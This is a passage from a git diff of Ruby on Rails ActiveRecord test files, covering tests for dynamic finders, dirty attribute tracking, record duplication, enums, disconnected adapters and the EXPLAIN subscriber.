- def test_find_last_with_offset_gives_same_result_when_loaded_and_unloaded
- scope = Topic.offset(3)
- unloaded_last = scope.last
- loaded_last = scope.to_a.last
- assert_equal loaded_last, unloaded_last
- end
-
- def test_find_all_by_nil_attribute
- topics = Topic.find_all_by_last_read nil
- assert_equal 3, topics.size
- assert topics.collect(&:last_read).all?(&:nil?)
- end
-
- def test_forwarding_to_dynamic_finders
- welcome = Post.find(1)
- assert_equal 4, Category.find_all_by_type('SpecialCategory').size
- assert_equal 0, welcome.categories.find_all_by_type('SpecialCategory').size
- assert_equal 2, welcome.categories.find_all_by_type('Category').size
- end
-
- def test_dynamic_find_all_should_respect_association_order
- assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.where("type = 'Client'").to_a
- assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
- end
-
- def test_dynamic_find_all_should_respect_association_limit
- assert_equal 1, companies(:first_firm).limited_clients.where("type = 'Client'").to_a.length
- assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
- end
-
- def test_dynamic_find_all_limit_should_override_association_limit
- assert_equal 2, companies(:first_firm).limited_clients.where("type = 'Client'").limit(9_000).to_a.length
- assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
- end
-
- def test_dynamic_find_last_without_specified_order
- assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
- end
-
- def test_dynamic_find_or_create_from_two_attributes_using_an_association
- author = authors(:david)
- number_of_posts = Post.count
- another = author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
- assert_equal number_of_posts + 1, Post.count
- assert_equal another, author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
- assert another.persisted?
- end
-
- def test_dynamic_find_all_should_respect_association_order_for_through
- assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.where("comments.type = 'SpecialComment'").to_a
- assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
- end
-
- def test_dynamic_find_all_should_respect_association_limit_for_through
- assert_equal 1, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").to_a.length
- assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
- end
-
- def test_dynamic_find_all_order_should_override_association_limit_for_through
- assert_equal 4, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").limit(9_000).to_a.length
- assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
- end
-
- def test_find_all_include_over_the_same_table_for_through
- assert_equal 2, people(:michael).posts.includes(:people).to_a.length
- end
-
- def test_find_or_create_by_resets_cached_counters
- person = Person.create! :first_name => 'tenderlove'
- post = Post.first
-
- assert_equal [], person.readers
- assert_nil person.readers.find_by_post_id(post.id)
-
- person.readers.find_or_create_by_post_id(post.id)
-
- assert_equal 1, person.readers.count
- assert_equal 1, person.readers.length
- assert_equal post, person.readers.first.post
- assert_equal person, person.readers.first.person
- end
-
- def test_find_or_initialize
- the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
- assert_equal companies(:first_firm).id, the_client.firm_id
- assert_equal "Yet another client", the_client.name
- assert !the_client.persisted?
- end
-
- def test_find_or_create_updates_size
- number_of_clients = companies(:first_firm).clients.size
- the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
- assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
- assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
- assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
- end
-
- def test_find_or_initialize_updates_collection_size
- number_of_clients = companies(:first_firm).clients_of_firm.size
- companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
- assert_equal number_of_clients + 1, companies(:first_firm).clients_of_firm.size
- end
-
- def test_find_or_initialize_returns_the_instantiated_object
- client = companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
- assert_equal client, companies(:first_firm).clients_of_firm[-1]
- end
-
- def test_find_or_initialize_only_instantiates_a_single_object
- number_of_clients = Client.count
- companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client").save!
- companies(:first_firm).save!
- assert_equal number_of_clients+1, Client.count
- end
-
- def test_find_or_create_with_hash
- post = authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
- assert_equal post, authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
- assert post.persisted?
- end
-
- def test_find_or_create_with_one_attribute_followed_by_hash
- post = authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
- assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
- assert post.persisted?
- end
-
- def test_find_or_create_should_work_with_block
- post = authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
- assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
- assert post.persisted?
- end
-
- def test_forwarding_to_dynamic_finders_2
- welcome = Post.find(1)
- assert_equal 4, Comment.find_all_by_type('Comment').size
- assert_equal 2, welcome.comments.find_all_by_type('Comment').size
- end
-
- def test_dynamic_find_all_by_attributes
- authors = Author.all
-
- davids = authors.find_all_by_name('David')
- assert_kind_of Array, davids
- assert_equal [authors(:david)], davids
- end
-
- def test_dynamic_find_or_initialize_by_attributes
- authors = Author.all
-
- lifo = authors.find_or_initialize_by_name('Lifo')
- assert_equal "Lifo", lifo.name
- assert !lifo.persisted?
-
- assert_equal authors(:david), authors.find_or_initialize_by_name(:name => 'David')
- end
-
- def test_dynamic_find_or_create_by_attributes
- authors = Author.all
-
- lifo = authors.find_or_create_by_name('Lifo')
- assert_equal "Lifo", lifo.name
- assert lifo.persisted?
-
- assert_equal authors(:david), authors.find_or_create_by_name(:name => 'David')
- end
-
- def test_dynamic_find_or_create_by_attributes_bang
- authors = Author.all
-
- assert_raises(ActiveRecord::RecordInvalid) { authors.find_or_create_by_name!('') }
-
- lifo = authors.find_or_create_by_name!('Lifo')
- assert_equal "Lifo", lifo.name
- assert lifo.persisted?
-
- assert_equal authors(:david), authors.find_or_create_by_name!(:name => 'David')
- end
-
- def test_finder_block
- t = Topic.first
- found = nil
- Topic.find_by_id(t.id) { |f| found = f }
- assert_equal t, found
- end
-
- def test_finder_block_nothing_found
- bad_id = Topic.maximum(:id) + 1
- assert_nil Topic.find_by_id(bad_id) { |f| raise }
- end
-
- def test_find_returns_block_value
- t = Topic.first
- x = Topic.find_by_id(t.id) { |f| "hi mom!" }
- assert_equal "hi mom!", x
- end
-
- def test_dynamic_finder_with_invalid_params
- assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
- end
-
- def test_find_by_one_attribute_with_order_option
- assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
- assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
- end
-
- def test_dynamic_find_by_attributes_should_yield_found_object
- david = authors(:david)
- yielded_value = nil
- Author.find_by_name(david.name) do |author|
- yielded_value = author
- end
- assert_equal david, yielded_value
- end
-end
-
-class DynamicScopeTest < ActiveRecord::TestCase
- fixtures :posts
-
- def setup
- @test_klass = Class.new(Post) do
- def self.name; "Post"; end
- end
- @deprecation_behavior = ActiveSupport::Deprecation.behavior
- ActiveSupport::Deprecation.behavior = :silence
- end
-
- def teardown
- ActiveSupport::Deprecation.behavior = @deprecation_behavior
- end
-
- def test_dynamic_scope
- assert_equal @test_klass.scoped_by_author_id(1).find(1), @test_klass.find(1)
- assert_equal @test_klass.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, @test_klass.all.merge!(:where => { :author_id => 1, :title => "Welcome to the weblog"}).first
- end
-
- def test_dynamic_scope_should_create_methods_after_hitting_method_missing
- assert_blank @test_klass.methods.grep(/scoped_by_type/)
- @test_klass.scoped_by_type(nil)
- assert_present @test_klass.methods.grep(/scoped_by_type/)
- end
-
- def test_dynamic_scope_with_less_number_of_arguments
- assert_raise(ArgumentError){ @test_klass.scoped_by_author_id_and_title(1) }
- end
-end
-
-class DynamicScopeMatchTest < ActiveRecord::TestCase
- def test_scoped_by_no_match
- assert_nil ActiveRecord::DynamicMatchers::Method.match(nil, "not_scoped_at_all")
- end
-
- def test_scoped_by
- model = stub(attribute_aliases: {})
- match = ActiveRecord::DynamicMatchers::Method.match(model, "scoped_by_age_and_sex_and_location")
- assert_not_nil match
- assert_equal %w(age sex location), match.attribute_names
- end
-end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 55ee066cda..eb9b1a2d74 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -79,6 +79,8 @@ class DirtyTest < ActiveRecord::TestCase
assert pirate.created_on_changed?
assert_kind_of ActiveSupport::TimeWithZone, pirate.created_on_was
assert_equal old_created_on, pirate.created_on_was
+ pirate.created_on = old_created_on
+ assert !pirate.created_on_changed?
end
end
@@ -123,30 +125,30 @@ class DirtyTest < ActiveRecord::TestCase
end
def test_time_attributes_changes_without_time_zone
- target = Class.new(ActiveRecord::Base)
- target.table_name = 'pirates'
-
- target.time_zone_aware_attributes = false
+ with_timezone_config aware_attributes: false do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
- # New record - no changes.
- pirate = target.new
- assert !pirate.created_on_changed?
- assert_nil pirate.created_on_change
+ # New record - no changes.
+ pirate = target.new
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
- # Saved - no changes.
- pirate.catchphrase = 'arrrr, time zone!!'
- pirate.save!
- assert !pirate.created_on_changed?
- assert_nil pirate.created_on_change
+ # Saved - no changes.
+ pirate.catchphrase = 'arrrr, time zone!!'
+ pirate.save!
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
- # Change created_on.
- old_created_on = pirate.created_on
- pirate.created_on = Time.now + 1.day
- assert pirate.created_on_changed?
- # kind_of does not work because
- # ActiveSupport::TimeWithZone.name == 'Time'
- assert_instance_of Time, pirate.created_on_was
- assert_equal old_created_on, pirate.created_on_was
+ # Change created_on.
+ old_created_on = pirate.created_on
+ pirate.created_on = Time.now + 1.day
+ assert pirate.created_on_changed?
+ # kind_of does not work because
+ # ActiveSupport::TimeWithZone.name == 'Time'
+ assert_instance_of Time, pirate.created_on_was
+ assert_equal old_created_on, pirate.created_on_was
+ end
end
@@ -167,7 +169,19 @@ class DirtyTest < ActiveRecord::TestCase
pirate = Pirate.create!(:catchphrase => 'Yar!')
pirate.catchphrase = 'Ahoy!'
- pirate.reset_catchphrase!
+ assert_deprecated do
+ pirate.reset_catchphrase!
+ end
+ assert_equal "Yar!", pirate.catchphrase
+ assert_equal Hash.new, pirate.changes
+ assert !pirate.catchphrase_changed?
+ end
+
+ def test_restore_attribute!
+ pirate = Pirate.create!(:catchphrase => 'Yar!')
+ pirate.catchphrase = 'Ahoy!'
+
+ pirate.restore_catchphrase!
assert_equal "Yar!", pirate.catchphrase
assert_equal Hash.new, pirate.changes
assert !pirate.catchphrase_changed?
@@ -211,9 +225,11 @@ class DirtyTest < ActiveRecord::TestCase
topic = target.create
assert_nil topic.written_on
- topic.written_on = ""
- assert_nil topic.written_on
- assert !topic.written_on_changed?
+ ["", nil].each do |value|
+ topic.written_on = value
+ assert_nil topic.written_on
+ assert !topic.written_on_changed?
+ end
end
end
@@ -241,6 +257,21 @@ class DirtyTest < ActiveRecord::TestCase
assert !pirate.changed?
end
+ def test_float_zero_to_string_zero_not_marked_as_changed
+ data = NumericData.new :temperature => 0.0
+ data.save!
+
+ assert_not data.changed?
+
+ data.temperature = '0'
+ assert_empty data.changes
+
+ data.temperature = '0.0'
+ assert_empty data.changes
+
+ data.temperature = '0.00'
+ assert_empty data.changes
+ end
def test_zero_to_blank_marked_as_changed
pirate = Pirate.new
@@ -290,16 +321,14 @@ class DirtyTest < ActiveRecord::TestCase
def test_attribute_will_change!
pirate = Pirate.create!(:catchphrase => 'arr')
- pirate.catchphrase << ' matey'
assert !pirate.catchphrase_changed?
-
assert pirate.catchphrase_will_change!
assert pirate.catchphrase_changed?
- assert_equal ['arr matey', 'arr matey'], pirate.catchphrase_change
+ assert_equal ['arr', 'arr'], pirate.catchphrase_change
- pirate.catchphrase << '!'
+ pirate.catchphrase << ' matey!'
assert pirate.catchphrase_changed?
- assert_equal ['arr matey', 'arr matey!'], pirate.catchphrase_change
+ assert_equal ['arr', 'arr matey!'], pirate.catchphrase_change
end
def test_association_assignment_changes_foreign_key
@@ -381,7 +410,7 @@ class DirtyTest < ActiveRecord::TestCase
def test_dup_objects_should_not_copy_dirty_flag_from_creator
pirate = Pirate.create!(:catchphrase => "shiver me timbers")
pirate_dup = pirate.dup
- pirate_dup.reset_catchphrase!
+ pirate_dup.restore_catchphrase!
pirate.catchphrase = "I love Rum"
assert pirate.catchphrase_changed?
assert !pirate_dup.catchphrase_changed?
@@ -426,11 +455,20 @@ class DirtyTest < ActiveRecord::TestCase
def test_save_should_store_serialized_attributes_even_with_partial_writes
with_partial_writes(Topic) do
topic = Topic.create!(:content => {:a => "a"})
+
+ assert_not topic.changed?
+
topic.content[:b] = "b"
- #assert topic.changed? # Known bug, will fail
+
+ assert topic.changed?
+
topic.save!
+
+ assert_not topic.changed?
assert_equal "b", topic.content[:b]
+
topic.reload
+
assert_equal "b", topic.content[:b]
end
end
@@ -517,7 +555,7 @@ class DirtyTest < ActiveRecord::TestCase
assert !pirate.previous_changes.key?('created_on')
pirate = Pirate.find_by_catchphrase("Thar She Blows!")
- pirate.update_attributes(:catchphrase => "Ahoy!")
+ pirate.update(catchphrase: "Ahoy!")
assert_equal 2, pirate.previous_changes.size
assert_equal ["Thar She Blows!", "Ahoy!"], pirate.previous_changes['catchphrase']
@@ -551,21 +589,28 @@ class DirtyTest < ActiveRecord::TestCase
end
end
- def test_setting_time_attributes_with_time_zone_field_to_same_time_should_not_be_marked_as_a_change
+ def test_datetime_attribute_can_be_updated_with_fractional_seconds
in_time_zone 'Paris' do
target = Class.new(ActiveRecord::Base)
- target.table_name = 'pirates'
+ target.table_name = 'topics'
- created_on = Time.now
+ written_on = Time.utc(2012, 12, 1, 12, 0, 0).in_time_zone('Paris')
- pirate = target.create(:created_on => created_on)
- pirate.reload # Here mysql truncate the usec value to 0
+ topic = target.create(:written_on => written_on)
+ topic.written_on += 0.3
- pirate.created_on = created_on
- assert !pirate.created_on_changed?
+ assert topic.written_on_changed?, 'Fractional second update not detected'
end
end
+ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+ time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone('Paris')
+ pirate = Pirate.create!(:catchphrase => 'rrrr', :created_on => time_in_paris)
+
+ pirate.created_on = pirate.created_on.in_time_zone('Tokyo').to_s
+ assert !pirate.created_on_changed?
+ end
+
test "partial insert" do
with_partial_writes Person do
jon = nil
@@ -590,18 +635,67 @@ class DirtyTest < ActiveRecord::TestCase
end
end
- test "partial_updates config attribute is deprecated" do
- klass = Class.new(ActiveRecord::Base)
+ test "defaults with type that implements `type_cast_for_database`" do
+ type = Class.new(ActiveRecord::Type::Value) do
+ def type_cast(value)
+ value.to_i
+ end
+
+ def type_cast_for_database(value)
+ value.to_s
+ end
+ end
+
+ model_class = Class.new(ActiveRecord::Base) do
+ self.table_name = 'numeric_data'
+ attribute :foo, type.new, default: 1
+ end
+
+ model = model_class.new
+ assert_not model.foo_changed?
+
+ model = model_class.new(foo: 1)
+ assert_not model.foo_changed?
+
+ model = model_class.new(foo: '1')
+ assert_not model.foo_changed?
+ end
+
+ test "in place mutation detection" do
+ pirate = Pirate.create!(catchphrase: "arrrr")
+ pirate.catchphrase << " matey!"
+
+ assert pirate.catchphrase_changed?
+ expected_changes = {
+ "catchphrase" => ["arrrr", "arrrr matey!"]
+ }
+ assert_equal(expected_changes, pirate.changes)
+ assert_equal("arrrr", pirate.catchphrase_was)
+ assert pirate.catchphrase_changed?(from: "arrrr")
+ assert_not pirate.catchphrase_changed?(from: "anything else")
+ assert pirate.changed_attributes.include?(:catchphrase)
+
+ pirate.save!
+ pirate.reload
+
+ assert_equal "arrrr matey!", pirate.catchphrase
+ assert_not pirate.changed?
+ end
+
+ test "in place mutation for binary" do
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = :binaries
+ serialize :data
+ end
+
+ klass.create!(data: "foo")
+ binary = klass.last
- assert klass.partial_writes?
- assert_deprecated { assert klass.partial_updates? }
- assert_deprecated { assert klass.partial_updates }
+ assert_not binary.changed?
- assert_deprecated { klass.partial_updates = false }
+ binary.data << "bar"
- assert !klass.partial_writes?
- assert_deprecated { assert !klass.partial_updates? }
- assert_deprecated { assert !klass.partial_updates }
+ assert binary.changed?
end
private
diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb
new file mode 100644
index 0000000000..94447addc1
--- /dev/null
+++ b/activerecord/test/cases/disconnected_test.rb
@@ -0,0 +1,28 @@
+require "cases/helper"
+
+class TestRecord < ActiveRecord::Base
+end
+
+class TestDisconnectedAdapter < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ end
+
+ teardown do
+ return if in_memory_db?
+ spec = ActiveRecord::Base.connection_config
+ ActiveRecord::Base.establish_connection(spec)
+ end
+
+ unless in_memory_db?
+ test "can't execute statements while disconnected" do
+ @connection.execute "SELECT count(*) from products"
+ @connection.disconnect!
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.execute "SELECT count(*) from products"
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index 4e2adff344..638cffe0e6 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require 'models/reply'
require 'models/topic'
module ActiveRecord
@@ -32,6 +33,14 @@ module ActiveRecord
assert duped.new_record?, 'topic is new'
end
+ def test_dup_not_destroyed
+ topic = Topic.first
+ topic.destroy
+
+ duped = topic.dup
+ assert_not duped.destroyed?
+ end
+
def test_dup_has_no_id
topic = Topic.first
duped = topic.dup
@@ -108,18 +117,41 @@ module ActiveRecord
end
def test_dup_validity_is_independent
- Topic.validates_presence_of :title
- topic = Topic.new("title" => "Litterature")
- topic.valid?
+ repair_validations(Topic) do
+ Topic.validates_presence_of :title
+ topic = Topic.new("title" => "Literature")
+ topic.valid?
+
+ duped = topic.dup
+ duped.title = nil
+ assert duped.invalid?
+
+ topic.title = nil
+ duped.title = 'Mathematics'
+ assert topic.invalid?
+ assert duped.valid?
+ end
+ end
- duped = topic.dup
- duped.title = nil
- assert duped.invalid?
+ def test_dup_with_default_scope
+ prev_default_scopes = Topic.default_scopes
+ Topic.default_scopes = [proc { Topic.where(:approved => true) }]
+ topic = Topic.new(:approved => false)
+ assert !topic.dup.approved?, "should not be overridden by default scopes"
+ ensure
+ Topic.default_scopes = prev_default_scopes
+ end
+
+ def test_dup_without_primary_key
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'parrots_pirates'
+ end
+
+ record = klass.create!
- topic.title = nil
- duped.title = 'Mathematics'
- assert topic.invalid?
- assert duped.valid?
+ assert_nothing_raised do
+ record.dup
+ end
end
end
end
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
new file mode 100644
index 0000000000..346fcab6ea
--- /dev/null
+++ b/activerecord/test/cases/enum_test.rb
@@ -0,0 +1,290 @@
+require 'cases/helper'
+require 'models/book'
+
+class EnumTest < ActiveRecord::TestCase
+ fixtures :books
+
+ setup do
+ @book = books(:awdr)
+ end
+
+ test "query state by predicate" do
+ assert @book.proposed?
+ assert_not @book.written?
+ assert_not @book.published?
+
+ assert @book.unread?
+ end
+
+ test "query state with strings" do
+ assert_equal "proposed", @book.status
+ assert_equal "unread", @book.read_status
+ end
+
+ test "find via scope" do
+ assert_equal @book, Book.proposed.first
+ assert_equal @book, Book.unread.first
+ end
+
+ test "update by declaration" do
+ @book.written!
+ assert @book.written?
+ end
+
+ test "update by setter" do
+ @book.update! status: :written
+ assert @book.written?
+ end
+
+ test "enum methods are overwritable" do
+ assert_equal "do publish work...", @book.published!
+ assert @book.published?
+ end
+
+ test "direct assignment" do
+ @book.status = :written
+ assert @book.written?
+ end
+
+ test "assign string value" do
+ @book.status = "written"
+ assert @book.written?
+ end
+
+ test "enum changed attributes" do
+ old_status = @book.status
+ @book.status = :published
+ assert_equal old_status, @book.changed_attributes[:status]
+ end
+
+ test "enum changes" do
+ old_status = @book.status
+ @book.status = :published
+ assert_equal [old_status, 'published'], @book.changes[:status]
+ end
+
+ test "enum attribute was" do
+ old_status = @book.status
+ @book.status = :published
+ assert_equal old_status, @book.attribute_was(:status)
+ end
+
+ test "enum attribute changed" do
+ @book.status = :published
+ assert @book.attribute_changed?(:status)
+ end
+
+ test "enum attribute changed to" do
+ @book.status = :published
+ assert @book.attribute_changed?(:status, to: 'published')
+ end
+
+ test "enum attribute changed from" do
+ old_status = @book.status
+ @book.status = :published
+ assert @book.attribute_changed?(:status, from: old_status)
+ end
+
+ test "enum attribute changed from old status to new status" do
+ old_status = @book.status
+ @book.status = :published
+ assert @book.attribute_changed?(:status, from: old_status, to: 'published')
+ end
+
+ test "enum didn't change" do
+ old_status = @book.status
+ @book.status = old_status
+ assert_not @book.attribute_changed?(:status)
+ end
+
+ test "persist changes that are dirty" do
+ @book.status = :published
+ assert @book.attribute_changed?(:status)
+ @book.status = :written
+ assert @book.attribute_changed?(:status)
+ end
+
+ test "reverted changes that are not dirty" do
+ old_status = @book.status
+ @book.status = :published
+ assert @book.attribute_changed?(:status)
+ @book.status = old_status
+ assert_not @book.attribute_changed?(:status)
+ end
+
+ test "reverted changes are not dirty going from nil to value and back" do
+ book = Book.create!(nullable_status: nil)
+
+ book.nullable_status = :married
+ assert book.attribute_changed?(:nullable_status)
+
+ book.nullable_status = nil
+ assert_not book.attribute_changed?(:nullable_status)
+ end
+
+ test "assign non existing value raises an error" do
+ e = assert_raises(ArgumentError) do
+ @book.status = :unknown
+ end
+ assert_equal "'unknown' is not a valid status", e.message
+ end
+
+ test "assign nil value" do
+ @book.status = nil
+ assert @book.status.nil?
+ end
+
+ test "assign empty string value" do
+ @book.status = ''
+ assert @book.status.nil?
+ end
+
+ test "assign long empty string value" do
+ @book.status = ' '
+ assert @book.status.nil?
+ end
+
+ test "constant to access the mapping" do
+ assert_equal 0, Book.statuses[:proposed]
+ assert_equal 1, Book.statuses["written"]
+ assert_equal 2, Book.statuses[:published]
+ end
+
+ test "building new objects with enum scopes" do
+ assert Book.written.build.written?
+ assert Book.read.build.read?
+ end
+
+ test "creating new objects with enum scopes" do
+ assert Book.written.create.written?
+ assert Book.read.create.read?
+ end
+
+ test "_before_type_cast returns the enum label (required for form fields)" do
+ assert_equal "proposed", @book.status_before_type_cast
+ end
+
+ test "reserved enum names" do
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:proposed, :written, :published]
+ end
+
+ conflicts = [
+ :column, # generates class method .columns, which conflicts with an AR method
+ :logger, # generates #logger, which conflicts with an AR method
+ :attributes, # generates #attributes=, which conflicts with an AR method
+ ]
+
+ conflicts.each_with_index do |name, i|
+ assert_raises(ArgumentError, "enum name `#{name}` should not be allowed") do
+ klass.class_eval { enum name => ["value_#{i}"] }
+ end
+ end
+ end
+
+ test "reserved enum values" do
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:proposed, :written, :published]
+ end
+
+ conflicts = [
+ :new, # generates a scope that conflicts with an AR class method
+ :valid, # generates #valid?, which conflicts with an AR method
+ :save, # generates #save!, which conflicts with an AR method
+ :proposed, # same value as an existing enum
+ :public, :private, :protected, # some important methods on Module and Class
+ :name, :parent, :superclass
+ ]
+
+ conflicts.each_with_index do |value, i|
+ assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
+ klass.class_eval { enum "status_#{i}" => [value] }
+ end
+ end
+ end
+
+ test "overriding enum method should not raise" do
+ assert_nothing_raised do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+
+ def published!
+ super
+ "do publish work..."
+ end
+
+ enum status: [:proposed, :written, :published]
+
+ def written!
+ super
+ "do written work..."
+ end
+ end
+ end
+ end
+
+ test "validate uniqueness" do
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Book'; end
+ enum status: [:proposed, :written]
+ validates_uniqueness_of :status
+ end
+ klass.delete_all
+ klass.create!(status: "proposed")
+ book = klass.new(status: "written")
+ assert book.valid?
+ book.status = "proposed"
+ assert_not book.valid?
+ end
+
+ test "validate inclusion of value in array" do
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Book'; end
+ enum status: [:proposed, :written]
+ validates_inclusion_of :status, in: ["written"]
+ end
+ klass.delete_all
+ invalid_book = klass.new(status: "proposed")
+ assert_not invalid_book.valid?
+ valid_book = klass.new(status: "written")
+ assert valid_book.valid?
+ end
+
+ test "enums are distinct per class" do
+ klass1 = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:proposed, :written]
+ end
+
+ klass2 = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:drafted, :uploaded]
+ end
+
+ book1 = klass1.proposed.create!
+ book1.status = :written
+ assert_equal ['proposed', 'written'], book1.status_change
+
+ book2 = klass2.drafted.create!
+ book2.status = :uploaded
+ assert_equal ['drafted', 'uploaded'], book2.status_change
+ end
+
+ test "enums are inheritable" do
+ subklass1 = Class.new(Book)
+
+ subklass2 = Class.new(Book) do
+ enum status: [:drafted, :uploaded]
+ end
+
+ book1 = subklass1.proposed.create!
+ book1.status = :written
+ assert_equal ['proposed', 'written'], book1.status_change
+
+ book2 = subklass2.drafted.create!
+ book2.status = :uploaded
+ assert_equal ['drafted', 'uploaded'], book2.status_change
+ end
+end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
index b425967678..8de2ddb10d 100644
--- a/activerecord/test/cases/explain_subscriber_test.rb
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -1,55 +1,59 @@
require 'cases/helper'
+require 'active_record/explain_subscriber'
+require 'active_record/explain_registry'
if ActiveRecord::Base.connection.supports_explain?
class ExplainSubscriberTest < ActiveRecord::TestCase
SUBSCRIBER = ActiveRecord::ExplainSubscriber.new
- def test_collects_nothing_if_available_queries_for_explain_is_nil
- with_queries(nil) do
- SUBSCRIBER.finish(nil, nil, {})
- assert_nil Thread.current[:available_queries_for_explain]
- end
+ def setup
+ ActiveRecord::ExplainRegistry.reset
+ ActiveRecord::ExplainRegistry.collect = true
end
def test_collects_nothing_if_the_payload_has_an_exception
- with_queries([]) do |queries|
- SUBSCRIBER.finish(nil, nil, :exception => Exception.new)
- assert queries.empty?
- end
+ SUBSCRIBER.finish(nil, nil, exception: Exception.new)
+ assert queries.empty?
end
def test_collects_nothing_for_ignored_payloads
- with_queries([]) do |queries|
- ActiveRecord::ExplainSubscriber::IGNORED_PAYLOADS.each do |ip|
- SUBSCRIBER.finish(nil, nil, :name => ip)
- end
- assert queries.empty?
+ ActiveRecord::ExplainSubscriber::IGNORED_PAYLOADS.each do |ip|
+ SUBSCRIBER.finish(nil, nil, name: ip)
end
+ assert queries.empty?
+ end
+
+ def test_collects_nothing_if_collect_is_false
+ ActiveRecord::ExplainRegistry.collect = false
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: 'select 1 from users', binds: [1, 2])
+ assert queries.empty?
end
def test_collects_pairs_of_queries_and_binds
sql = 'select 1 from users'
binds = [1, 2]
- with_queries([]) do |queries|
- SUBSCRIBER.finish(nil, nil, :name => 'SQL', :sql => sql, :binds => binds)
- assert_equal 1, queries.size
- assert_equal sql, queries[0][0]
- assert_equal binds, queries[0][1]
- end
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: sql, binds: binds)
+ assert_equal 1, queries.size
+ assert_equal sql, queries[0][0]
+ assert_equal binds, queries[0][1]
end
- def test_collects_nothing_if_unexplained_sqls
- with_queries([]) do |queries|
- SUBSCRIBER.finish(nil, nil, :name => 'SQL', :sql => 'SHOW max_identifier_length')
- assert queries.empty?
- end
+ def test_collects_nothing_if_the_statement_is_not_whitelisted
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: 'SHOW max_identifier_length')
+ assert queries.empty?
+ end
+
+ def test_collects_nothing_if_the_statement_is_only_partially_matched
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: 'select_db yo_mama')
+ assert queries.empty?
+ end
+
+ teardown do
+ ActiveRecord::ExplainRegistry.reset
end
- def with_queries(queries)
- Thread.current[:available_queries_for_explain] = queries
- yield queries
- ensure
- Thread.current[:available_queries_for_explain] = nil
+ def queries
+ ActiveRecord::ExplainRegistry.queries
end
end
end
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
index a7e5fdf709..9d25bdd82a 100644
--- a/activerecord/test/cases/explain_test.rb
+++ b/activerecord/test/cases/explain_test.rb
@@ -14,67 +14,23 @@ if ActiveRecord::Base.connection.supports_explain?
base.connection
end
- def test_logging_query_plan_with_logger
- base.logger.expects(:warn).with do |message|
- message.starts_with?('EXPLAIN for:')
- end
-
- with_threshold(0) do
- Car.where(:name => 'honda').to_a
- end
- end
-
- def test_logging_query_plan_without_logger
- original = base.logger
- base.logger = nil
-
- class << base.logger
